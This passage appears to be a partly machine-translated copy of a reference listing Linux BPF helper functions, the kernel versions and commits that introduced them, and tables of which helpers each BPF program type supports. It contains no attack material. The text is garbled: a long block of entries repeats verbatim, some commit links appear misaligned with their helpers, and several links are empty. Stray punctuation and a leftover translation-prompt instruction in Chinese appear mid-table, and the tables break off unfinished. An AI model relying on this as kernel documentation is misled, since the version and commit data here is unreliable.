[`7a4b28c6cc9f`](https://github.com/torvalds/linux/commit/7a4b28c6cc9ffac50f791b99cc7e46106436e5d8) -`BPF_FUNC_set_retval()` | 5.18 | | [`b44123b4a3dc`](https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93) -`BPF_FUNC_setsockopt()` | 4.13 | | [`8c4b4c7e9ff0`](https://github.com/torvalds/linux/commit/8c4b4c7e9ff0447995750d9329949fa082520269) -`BPF_FUNC_sk_ancestor_cgroup_id()` | 5.7 | | [`f307fa2cb4c9`](https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b) -`BPF_FUNC_sk_assign()` | 5.6 | | [`cf7fbe660f2d`](https://github.com/torvalds/linux/commit/cf7fbe660f2dbd738ab58aea8e9b0ca6ad232449) -`BPF_FUNC_ringbuf_reserve_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_ringbuf_submit()` | 5.8 | | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) -`BPF_FUNC_ringbuf_submit_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_send_signal()` | 5.3 | | [`8b401f9ed244`](https://github.com/torvalds/linux/commit/8b401f9ed2441ad9e219953927a842d24ed051fc) -`BPF_FUNC_send_signal_thread()` | 5.5 | | [`8482941f0906`](https://github.com/torvalds/linux/commit/8482941f09067da42f9c3362e15bfb3f3c19d610) -`BPF_FUNC_seq_printf()` | 5.7 | GPL | [`492e639f0c22`](https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15) -`BPF_FUNC_seq_printf_btf()` | 5.10 | | [`eb411377aed9`](https://github.com/torvalds/linux/commit/eb411377aed9e27835e77ee0710ee8f4649958f3) -`BPF_FUNC_seq_write()` | 5.7 | GPL | [`492e639f0c22`](https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15) -`BPF_FUNC_set_hash()` | 4.13 | | [`ded092cd73c2`](https://github.com/torvalds/linux/commit/ded092cd73c2c56a394b936f86897f29b2e131c0) -`BPF_FUNC_set_hash_invalid()` | 4.9 | | [`7a4b28c6cc9f`](https://github.com/torvalds/linux/commit/7a4b28c6cc9ffac50f791b99cc7e46106436e5d8) -`BPF_FUNC_set_retval()` | 5.18 | | [`b44123b4a3dc`](https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93) -`BPF_FUNC_setsockopt()` | 4.13 | | [`8c4b4c7e9ff0`](https://github.com/torvalds/linux/commit/8c4b4c7e9ff0447995750d9329949fa082520269) -`BPF_FUNC_sk_ancestor_cgroup_id()` | 5.7 | | [`f307fa2cb4c9`](https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b) -`BPF_FUNC_sk_assign()` | 5.6 | | [`cf7fbe660f2d`](https://github.com/torvalds/linux/commit/cf7fbe660f2dbd738ab58aea8e9b0ca6ad232449)"."`BPF_FUNC_sk_cgroup_id()` | 5.7 | | [`f307fa2cb4c9`](https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b) -`BPF_FUNC_sk_fullsock()` | 5.1 | | [`46f8bc92758c`](https://github.com/torvalds/linux/commit/46f8bc92758c6259bcf945e9216098661c1587cd) -`BPF_FUNC_sk_lookup_tcp()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_lookup_udp()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_redirect_hash()` | 4.18 | | [`81110384441a`](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) -`BPF_FUNC_sk_redirect_map()` | 4.14 | | [`174a79ff9515`](https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6) -`BPF_FUNC_sk_release()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_select_reuseport()` | 4.19 | | [`2dbb9b9e6df6`](https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf) -`BPF_FUNC_sk_storage_delete()` | 5.2 | | [`6ac99e8f23d4`](https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d) -`BPF_FUNC_sk_storage_get()` | 5.2 | | [`6ac99e8f23d4`](https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d) -`BPF_FUNC_skb_adjust_room()` | 4.13 | | [`2be7e212d541`](https://github.com/torvalds/linux/commit/2be7e212d5419a400d051c84ca9fdd083e5aacac) -`BPF_FUNC_skb_ancestor_cgroup_id()` | 4.19 | | [`7723628101aa`](https://github.com/torvalds/linux/commit/7723628101aaeb1d723786747529b4ea65c5b5c5) -`BPF_FUNC_skb_change_head()` | 4.10 | | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) -`BPF_FUNC_skb_change_proto()` | 4.8 | | [`6578171a7ff0`](https://github.com/torvalds/linux/commit/6578171a7ff0c31dc73258f93da7407510abf085) -`BPF_FUNC_sk_cgroup_id()` | 5.7 | | [`f307fa2cb4c9`](https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b) -`BPF_FUNC_sk_fullsock()` | 5.1 | | [`46f8bc92758c`](https://github.com/torvalds/linux/commit/46f8bc92758c6259bcf945e9216098661c1587cd) -`BPF_FUNC_sk_lookup_tcp()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_lookup_udp()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_redirect_hash()` | 4.18 | | [`81110384441a`](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) -`BPF_FUNC_sk_redirect_map()` | 4.14 | | [`174a79ff9515`](https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6) -`BPF_FUNC_sk_release()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_select_reuseport()` | 4.19 | | [`2dbb9b9e6df6`](https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf) -`BPF_FUNC_sk_storage_delete()` | 5.2 | | [`6ac99e8f23d4`](https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d) -`BPF_FUNC_sk_storage_get()` | 5.2 | | [`6ac99e8f23d4`](https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d) -`BPF_FUNC_skb_adjust_room()` | 4.13 | | [`2be7e212d541`](https://github.com/torvalds/linux/commit/2be7e212d5419a400d051c84ca9fdd083e5aacac) -`BPF_FUNC_skb_ancestor_cgroup_id()` | 4.19 | | [`7723628101aa`](https://github.com/torvalds/linux/commit/7723628101aaeb1d723786747529b4ea65c5b5c5) -`BPF_FUNC_skb_change_head()` | 4.10 | | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) -`BPF_FUNC_skb_change_proto()` | 4.8 | | [`6578171a7ff0`](https://github.com/torvalds/linux/commit/6578171a7ff0c31dc73258f93da7407510abf085)`。"`BPF_FUNC_skb_change_tail()`| 4.9 | | [`5293efe62df8`](https://github.com/torvalds/linux/commit/5293efe62df81908f2e90c9820c7edcc8e61f5e9) -`BPF_FUNC_skb_change_type()`| 4.8 | | [`d2485c4242a8`](https://github.com/torvalds/linux/commit/d2485c4242a826fdf493fd3a27b8b792965b9b9e) -`BPF_FUNC_skb_cgroup_classid()`| 5.10 | | [`b426ce83baa7`](https://github.com/torvalds/linux/commit/b426ce83baa7dff947fb354118d3133f2953aac8) -`BPF_FUNC_skb_cgroup_id()`| 4.18 | | [`cb20b08ead40`](https://github.com/torvalds/linux/commit/cb20b08ead401fd17627a36f035c0bf5bfee5567) -`BPF_FUNC_skb_ecn_set_ce()`| 5.1 | | [`f7c917ba11a6`](https://github.com/torvalds/linux/commit/f7c917ba11a67632a8452ea99fe132f626a7a2cc) -`BPF_FUNC_skb_get_tunnel_key()`| 4.3 | | [`d3aa45ce6b94`](https://github.com/torvalds/linux/commit/d3aa45ce6b94c65b83971257317867db13e5f492) -`BPF_FUNC_skb_get_tunnel_opt()`| 4.6 | | [`14ca0751c96f`](https://github.com/torvalds/linux/commit/14ca0751c96f8d3d0f52e8ed3b3236f8b34d3460) -`BPF_FUNC_skb_get_xfrm_state()`| 4.18 | | [`12bed760a78d`](https://github.com/torvalds/linux/commit/12bed760a78da6e12ac8252fec64d019a9eac523) -`BPF_FUNC_skb_load_bytes()`| 4.5 | | [`05c74e5e53f6`](https://github.com/torvalds/linux/commit/05c74e5e53f6cb07502c3e6a820f33e2777b6605) -`BPF_FUNC_skb_load_bytes_relative()`| 4.18 | | [`4e1ec56cdc59`](https://github.com/torvalds/linux/commit/4e1ec56cdc59746943b2acfab3c171b930187bbe) -`BPF_FUNC_skb_output()`| 5.5 | | [`a7658e1a4164`](https://github.com/torvalds/linux/commit/a7658e1a4164ce2b9eb4a11aadbba38586e93bd6) -`BPF_FUNC_skb_pull_data()`| 4.9 | | [`36bbef52c7eb`](https://github.com/torvalds/linux/commit/36bbef52c7eb646ed6247055a2acd3851e317857) -`BPF_FUNC_skb_set_tstamp()`| 5.18 | | [`9bb984f28d5b`](https://github.com/torvalds/linux/commit/9bb984f28d5bcb917d35d930fcfb89f90f9449fd) -`BPF_FUNC_skb_set_tunnel_key()`| 4.3 | | [`d3aa45ce6b94`](https://github.com/torvalds/linux/commit/d3aa45ce6b94c65b83971257317867db13e5f492) -`BPF_FUNC_skb_set_tunnel_opt()`| 4.6 | | [`14ca0751c96f`](https://github.com/torvalds/linux/commit/14ca0751c96f8d3d0f52e8ed3b3236f8b34d3460) -`BPF_FUNC_skb_store_bytes()`| 4.1 | | [`91bc4822c3d6`](https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954) -`BPF_FUNC_skb_under_cgroup()`| 4.8 | | [`4a482f34afcc`](https://github.com/torvalds/linux/commit/4a482f34afcc162d8456f449b137ec2a95be60d8) -`BPF_FUNC_skb_vlan_pop()`| 4.3 | | [`4e10df9a60d9`](https://github.com/torvalds/linux/commit/4e10df9a60d96ced321dd2af71da558c6b750078) -`BPF_FUNC_skb_vlan_push()`| 4.3 | | [`4e10df9a60d9`](https://github.com/torvalds/linux/commit/4e10df9a60d96ced321dd2af71da558c6b750078) -`BPF_FUNC_skc_lookup_tcp()`| 5.2 | | [`edbf8c01de5a`](https://github.com/torvalds/linux/commit/edbf8c01de5a104a71ed6df2bf6421ceb2836a8e) -`BPF_FUNC_skc_to_mctcp_sock()`| 5.19 | | [`3bc253c2e652`](https://github.com/torvalds/linux/commit/3bc253c2e652cf5f12cd8c00d80d8ec55d67d1a7) -`BPF_FUNC_skc_to_tcp_sock()`| 5.9 | | [`478cfbdf5f13`](https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108) -`BPF_FUNC_skc_to_tcp_request_sock()`| 5.9 | | [`478cfbdf5f13`](https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108) -`BPF_FUNC_skc_to_tcp_timewait_sock()`| 5.9 | | [`478cfbdf5f13`](https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108) -`BPF_FUNC_skc_to_tcp6_sock()`| 5.9 | | [`af7ec1383361`](https://github.com/torvalds/linux/commit/af7ec13833619e17f03aa73a785a2f871da6d66b) -`BPF_FUNC_skc_to_udp6_sock()`| 5.9 | | [`0d4fad3e57df`](https://github.com/torvalds/linux/commit/0d4fad3e57df2bf61e8ffc8d12a34b1caf9b8835) -`BPF_FUNC_skc_to_unix_sock()`| 5.16 | | [`9eeb3aa33ae0`](https://github.com/torvalds/linux/commit/9eeb3aa33ae005526f672b394c1791578463513f) -`BPF_FUNC_snprintf()`| 5.13 | | [`7b15523a989b`](https://github.com/torvalds/linux/commit/7b15523a989b63927c2bb08e9b5b0bbc10b58bef)"."`BPF_FUNC_snprintf_btf()`| 5.10 | | [`c4d0bfb45068`](https://github.com/torvalds/linux/commit/c4d0bfb45068d853a478b9067a95969b1886a30f) -`BPF_FUNC_sock_from_file()`| 5.11 | | [`4f19cab76136`](https://github.com/torvalds/linux/commit/4f19cab76136e800a3f04d8c9aa4d8e770e3d3d8) -`BPF_FUNC_sock_hash_update()`| 4.18 | | [`81110384441a`](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) -`BPF_FUNC_sock_map_update()`| 4.14 | | [`174a79ff9515`](https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6) -`BPF_FUNC_spin_lock()`| 5.1 | | [`d83525ca62cf`](https://github.com/torvalds/linux/commit/d83525ca62cf8ebe3271d14c36fb900c294274a2) -`BPF_FUNC_spin_unlock()`| 5.1 | | [`d83525ca62cf`](https://github.com/torvalds/linux/commit/d83525ca62cf8ebe3271d14c36fb900c294274a2) -`BPF_FUNC_store_hdr_opt()`| 5.10 | | [`0813a841566f`](https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0) -`BPF_FUNC_strncmp()`| 5.17 | | [`c5fb19937455`](https://github.com/torvalds/linux/commit/c5fb19937455095573a19ddcbff32e993ed10e35) -`BPF_FUNC_strtol()`| 5.2 | | [`d7a4cb9b6705`](https://github.com/torvalds/linux/commit/d7a4cb9b6705a89937d12c8158a35a3145dc967a) -`BPF_FUNC_strtoul()`| 5.2 | | [`d7a4cb9b6705`](https://github.com/torvalds/linux/commit/d7a4cb9b6705a89937d12c8158a35a3145dc967a) -`BPF_FUNC_sys_bpf()`| 5.14 | | [`79a7f8bdb159`](https://github.com/torvalds/linux/commit/79a7f8bdb159d9914b58740f3d31d602a6e4aca8) -`BPF_FUNC_sys_close()`| 5.14 | | [`3abea089246f`](https://github.com/torvalds/linux/commit/3abea089246f76c1517b054ddb5946f3f1dbd2c0) -`BPF_FUNC_sysctl_get_current_value()`| 5.2 | | [`1d11b3016cec`](https://github.com/torvalds/linux/commit/1d11b3016cec4ed9770b98e82a61708c8f4926e7) -`BPF_FUNC_sysctl_get_name()`| 5.2 | | [`808649fb787d`](https://github.com/torvalds/linux/commit/808649fb787d918a48a360a668ee4ee9023f0c11)". -格式:只返回翻译后的内容,不包括原文。`BPF_FUNC_sysctl_get_new_value()`| 5.2| | [`4e63acdff864`](https://github.com/torvalds/linux/commit/4e63acdff864654cee0ac5aaeda3913798ee78f6) -`BPF_FUNC_sysctl_set_new_value()`|5.2| | [`4e63acdff864`](https://github.com/torvalds/linux/commit/4e63acdff864654cee0ac5aaeda3913798ee78f6) -`BPF_FUNC_tail_call()`|4.2| | [`04fd61ab36ec`](https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb) -`BPF_FUNC_task_pt_regs()`|5.15| GPL | [`dd6e10fbd9f`](https://github.com/torvalds/linux/commit/dd6e10fbd9fb86a571d925602c8a24bb4d09a2a7) -`BPF_FUNC_task_storage_delete()`|5.11| | [`4cf1bc1f1045`](https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919) -`BPF_FUNC_task_storage_get()`|5.11| | [`4cf1bc1f1045`](https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919) -`BPF_FUNC_tcp_check_syncookie()`|5.2| | [`399040847084`](https://github.com/torvalds/linux/commit/399040847084a69f345e0a52fd62f04654e0fce3) -`BPF_FUNC_tcp_gen_syncookie()`|5.3| | [`70d66244317e`](https://github.com/torvalds/linux/commit/70d66244317e958092e9c971b08dd5b7fd29d9cb#diff-05da4bf36c7fbcd176254e1615d98b28) -`BPF_FUNC_tcp_raw_check_syncookie_ipv4()`|6.0| | [`33bf9885040c`](https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14) -`BPF_FUNC_tcp_raw_check_syncookie_ipv6()`|6.0| | [`33bf9885040c`](https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14) -`BPF_FUNC_tcp_raw_gen_syncookie_ipv4()`|6.0| | [`33bf9885040c`](https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14) -`BPF_FUNC_tcp_raw_gen_syncookie_ipv6()`|6.0| | [`33bf9885040c`](https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14) -`BPF_FUNC_tcp_send_ack()`|5.5 | | [`206057fe020a`](https://github.com/torvalds/linux/commit/206057fe020ac5c037d5e2dd6562a9bd216ec765)`BPF_FUNC_tcp_sock()`| 5.1 | | [`655a51e536c0`](https://github.com/torvalds/linux/commit/655a51e536c09d15ffa3603b1b6fce2b45b85a1f) -`BPF_FUNC_this_cpu_ptr()` | 5.10 | | [`63d9b80dcf2c`](https://github.com/torvalds/linux/commit/63d9b80dcf2c67bc5ade61cbbaa09d7af21f43f1) -`BPF_FUNC_timer_init()` | 5.15 | | [`b00628b1c7d5`](https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4) -`BPF_FUNC_timer_set_callback()` | 5.15 | | [`b00628b1c7d5`](https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4) -`BPF_FUNC_timer_start()` | 5.15 | | [`b00628b1c7d5`](https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4) -`BPF_FUNC_timer_cancel()` | 5.15 | | [`b00628b1c7d5`](https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4) -`BPF_FUNC_trace_printk()` | 4.1 | GPL | [`9c959c863f82`](https://github.com/torvalds/linux/commit/9c959c863f8217a2ff3d7c296e8223654d240569) -`BPF_FUNC_trace_vprintk()` | 5.16 | GPL | [`10aceb629e19`](https://github.com/torvalds/linux/commit/10aceb629e198429c849d5e995c3bb1ba7a9aaa3) -`BPF_FUNC_user_ringbuf_drain()` | 6.1 | | [`205715673844`](https://github.com/torvalds/linux/commit/20571567384428dfc9fe5cf9f2e942e1df13c2dd) -`BPF_FUNC_xdp_adjust_head()` | 4.10 | | [`17bedab27231`](https://github.com/torvalds/linux/commit/17bedab2723145d17b14084430743549e6943d03) -`BPF_FUNC_xdp_adjust_meta()` | 4.15 | | [`de8f3a83b0a0`](https://github.com/torvalds/linux/commit/de8f3a83b0a0fddb2cf56e7a718127e9619ea3da) -`BPF_FUNC_xdp_adjust_tail()` | 4.18 | | [`b32cc5b9a346`](https://github.com/torvalds/linux/commit/b32cc5b9a346319c171e3ad905e0cddda032b5eb) -`BPF_FUNC_xdp_get_buff_len()` | 5.18 | | [`0165cc817075`](https://github.com/torvalds/linux/commit/0165cc817075cf701e4289838f1d925ff1911b3e) -`BPF_FUNC_xdp_load_bytes()` | 5.18 | | [`3f364222d032`](https://github.com/torvalds/linux/commit/3f364222d032eea6b245780e845ad213dab28cdd) -`BPF_FUNC_xdp_store_bytes()` | 5.18 | | [`3f364222d032`](https://github.com/torvalds/linux/commit/3f364222d032eea6b245780e845ad213dab28cdd) -`BPF_FUNC_xdp_output()` | 5.6 | GPL | [`d831ee84bfc9`](https://github.com/torvalds/linux/commit/d831ee84bfc9173eecf30dbbc2553ae81b996c60) -`BPF_FUNC_override_return()` | 4.16 | GPL | [`9802d86585db`](https://github.com/torvalds/linux/commit/9802d86585db91655c7d1929a4f6bbe0952ea88e) -`BPF_FUNC_sock_ops_cb_flags_set()` | 4.16 | | [`b13d88072172`]() - -注:仅GPL兼容的BPF助手需要GPL兼容的许可证。内核所认可的当前GPL兼容许可证有: - -* GPL -* GPL v2 -* GPL和其他权利 -* 双BSD/GPL -* 双MIT/GPL -* 双MPL/GPL - -在您的[内核源代码](https://github.com/torvalds/linux/blob/master/include/linux/license.h)中查看GPL兼容许可证的列表。 - -## 程序类型 - -可以使用以下命令获取程序类型和支持的辅助函数列表: - -```sh -git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ -``` - -|程序类型| 辅助函数| -|---------|---------| -|`BPF_PROG_TYPE_SOCKET_FILTER`|`BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_skb_load_bytes_relative()`
`BPF_FUNC_get_socket_cookie()`
`BPF_FUNC_get_socket_uid()`
`BPF_FUNC_perf_event_output()`
`基础函数`| -|`BPF_PROG_TYPE_KPROBE`|`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_stackid()`
`BPF_FUNC_get_stack()`
`BPF_FUNC_perf_event_read_value()`
`BPF_FUNC_override_return()`
`跟踪函数`|".| `BPF_PROG_TYPE_SCHED_CLS`
`BPF_PROG_TYPE_SCHED_ACT` | `BPF_FUNC_skb_store_bytes()`
`BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_skb_load_bytes_relative()`
`BPF_FUNC_skb_pull_data()`
`BPF_FUNC_csum_diff()`
`BPF_FUNC_csum_update()`
`BPF_FUNC_l3_csum_replace()`
`BPF_FUNC_l4_csum_replace()`
`BPF_FUNC_clone_redirect()`
`BPF_FUNC_get_cgroup_classid()`
`BPF_FUNC_skb_vlan_push()`
`BPF_FUNC_skb_vlan_pop()`
`BPF_FUNC_skb_change_proto()`
`BPF_FUNC_skb_change_type()`
`BPF_FUNC_skb_adjust_room()`
`BPF_FUNC_skb_change_tail()`
`BPF_FUNC_skb_get_tunnel_key()`
`BPF_FUNC_skb_set_tunnel_key()`
`BPF_FUNC_skb_get_tunnel_opt()`
`BPF_FUNC_skb_set_tunnel_opt()`
`BPF_FUNC_redirect()`
`BPF_FUNC_get_route_realm()`
`BPF_FUNC_get_hash_recalc()`
`BPF_FUNC_set_hash_invalid()`
`BPF_FUNC_set_hash()`
`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_skb_under_cgroup()`
`BPF_FUNC_get_socket_cookie()`
`BPF_FUNC_get_socket_uid()`
`BPF_FUNC_fib_lookup()`
`BPF_FUNC_skb_get_xfrm_state()`
`BPF_FUNC_skb_cgroup_id()`
`基础函数` | -| `BPF_PROG_TYPE_TRACEPOINT` | `BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_stackid()`
`BPF_FUNC_get_stack()`
`BPF_FUNC_d_path()`
`跟踪函数` | -| `BPF_PROG_TYPE_XDP` | `BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_csum_diff()`
`BPF_FUNC_xdp_adjust_head()`
`BPF_FUNC_xdp_adjust_meta()`
`BPF_FUNC_redirect()`
`BPF_FUNC_redirect_map()`
`BPF_FUNC_xdp_adjust_tail()`
`BPF_FUNC_fib_lookup()`
`基础函数` | -| `BPF_PROG_TYPE_PERF_EVENT` | `BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_stackid()`
`BPF_FUNC_get_stack()`
`BPF_FUNC_perf_prog_read_value()`
`跟踪函数` |\|`BPF_PROG_TYPE_CGROUP_SKB`|\|[`BPF_FUNC_skb_load_bytes()`]()
[`BPF_FUNC_skb_load_bytes_relative()`]()
[`BPF_FUNC_get_socket_cookie()`]()
[`BPF_FUNC_get_socket_uid()`]()
`基本功能`| -|`BPF_PROG_TYPE_CGROUP_SOCK`|\|[`BPF_FUNC_get_current_uid_gid()`]()
`基本功能`| -|`BPF_PROG_TYPE_LWT_IN`|\|[`BPF_FUNC_lwt_push_encap()`]()
`LWT功能`
`基本功能`| -|`BPF_PROG_TYPE_LWT_OUT`| `LWT功能`
`基本功能`| -|`BPF_PROG_TYPE_LWT_XMIT`| \|[`BPF_FUNC_skb_get_tunnel_key()`]()
[`BPF_FUNC_skb_set_tunnel_key()`]()
[`BPF_FUNC_skb_get_tunnel_opt()`]()
[`BPF_FUNC_skb_set_tunnel_opt()`]()
[`BPF_FUNC_redirect()`]()
[`BPF_FUNC_clone_redirect()`]()
[`BPF_FUNC_skb_change_tail()`]()
[`BPF_FUNC_skb_change_head()`]()
[`BPF_FUNC_skb_store_bytes()`]()
[`BPF_FUNC_csum_update()`]()
[`BPF_FUNC_l3_csum_replace()`]()
[`BPF_FUNC_l4_csum_replace()`]()
[`BPF_FUNC_set_hash_invalid()`]()
`LWT功能`| -|`BPF_PROG_TYPE_SOCK_OPS`|\|[`BPF_FUNC_setsockopt()`]()
[`BPF_FUNC_getsockopt()`]()
[`BPF_FUNC_sock_ops_cb_flags_set()`]()
[`BPF_FUNC_sock_map_update()`]()
[`BPF_FUNC_sock_hash_update()`]()
[`BPF_FUNC_get_socket_cookie()`]()
`基本功能`| -|`BPF_PROG_TYPE_SK_SKB`|\|[`BPF_FUNC_skb_store_bytes()`]()
[`BPF_FUNC_skb_load_bytes()`]()
[`BPF_FUNC_skb_pull_data()`]()
[`BPF_FUNC_skb_change_tail()`]()
[`BPF_FUNC_skb_change_head()`]()
[`BPF_FUNC_get_socket_cookie()`]()
[`BPF_FUNC_get_socket_uid()`]()
[`BPF_FUNC_sk_redirect_map()`]()
[`BPF_FUNC_sk_redirect_hash()`]()
[`BPF_FUNC_sk_lookup_tcp()`]()
[`BPF_FUNC_sk_lookup_udp()`]()
[`BPF_FUNC_sk_release()`]()
`基本功能`| -|`BPF_PROG_TYPE_CGROUP_DEVICE`| \|[`BPF_FUNC_map_lookup_elem()`]()
[`BPF_FUNC_map_update_elem()`]()
[`BPF_FUNC_map_delete_elem()`]()
[`BPF_FUNC_get_current_uid_gid()`]()
[`BPF_FUNC_trace_printk()`]() ||`BPF_PROG_TYPE_SK_MSG`|`BPF_FUNC_msg_redirect_map()`
`BPF_FUNC_msg_redirect_hash()`
`BPF_FUNC_msg_apply_bytes()`
`BPF_FUNC_msg_cork_bytes()`
`BPF_FUNC_msg_pull_data()`
`BPF_FUNC_msg_push_data()`
`BPF_FUNC_msg_pop_data()`
`基本功能`| -|`BPF_PROG_TYPE_RAW_TRACEPOINT`|`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_stackid()`
`BPF_FUNC_get_stack()`
`BPF_FUNC_skb_output()`
`跟踪功能`| -|`BPF_PROG_TYPE_CGROUP_SOCK_ADDR`|`BPF_FUNC_get_current_uid_gid()`
`BPF_FUNC_bind()`
`BPF_FUNC_get_socket_cookie()`
`基本功能`| -|`BPF_PROG_TYPE_LWT_SEG6LOCAL`|`BPF_FUNC_lwt_seg6_store_bytes()`
`BPF_FUNC_lwt_seg6_action()`
`BPF_FUNC_lwt_seg6_adjust_srh()`
`LWT功能`| -|`BPF_PROG_TYPE_LIRC_MODE2`|`BPF_FUNC_rc_repeat()`
`BPF_FUNC_rc_keydown()`
`BPF_FUNC_rc_pointer_rel()`
`BPF_FUNC_map_lookup_elem()`
`BPF_FUNC_map_update_elem()`
`BPF_FUNC_map_delete_elem()`
`BPF_FUNC_ktime_get_ns()`
`BPF_FUNC_tail_call()`
`BPF_FUNC_get_prandom_u32()`
`BPF_FUNC_trace_printk()`| -|`BPF_PROG_TYPE_SK_REUSEPORT`|`BPF_FUNC_sk_select_reuseport()`
`BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_load_bytes_relative()`
`基本功能`| -|`BPF_PROG_TYPE_FLOW_DISSECTOR`|`BPF_FUNC_skb_load_bytes()`
`基本功能`| - -|功能组| 功能| -|------------------|-------| -|`基本功能`| `BPF_FUNC_map_lookup_elem()`
`BPF_FUNC_map_update_elem()`
`BPF_FUNC_map_delete_elem()`
`BPF_FUNC_map_peek_elem()`
`BPF_FUNC_map_pop_elem()`
`BPF_FUNC_map_push_elem()`
`BPF_FUNC_get_prandom_u32()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_get_numa_node_id()`
`BPF_FUNC_tail_call()`
`BPF_FUNC_ktime_get_boot_ns()`
`BPF_FUNC_ktime_get_ns()`
`BPF_FUNC_trace_printk()`
`BPF_FUNC_spin_lock()`
`BPF_FUNC_spin_unlock()` |"|`跟踪函数`|`BPF_FUNC_map_lookup_elem()`
`BPF_FUNC_map_update_elem()`
`BPF_FUNC_map_delete_elem()`
`BPF_FUNC_probe_read()`
`BPF_FUNC_ktime_get_boot_ns()`
`BPF_FUNC_ktime_get_ns()`
`BPF_FUNC_tail_call()`
`BPF_FUNC_get_current_pid_tgid()`
`BPF_FUNC_get_current_task()`
`BPF_FUNC_get_current_uid_gid()`
`BPF_FUNC_get_current_comm()`
`BPF_FUNC_trace_printk()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_get_numa_node_id()`
`BPF_FUNC_perf_event_read()`
`BPF_FUNC_probe_write_user()`
`BPF_FUNC_current_task_under_cgroup()`
`BPF_FUNC_get_prandom_u32()`
`BPF_FUNC_probe_read_str()`
`BPF_FUNC_get_current_cgroup_id()`
`BPF_FUNC_send_signal()`
`BPF_FUNC_probe_read_kernel()`
`BPF_FUNC_probe_read_kernel_str()`
`BPF_FUNC_probe_read_user()`
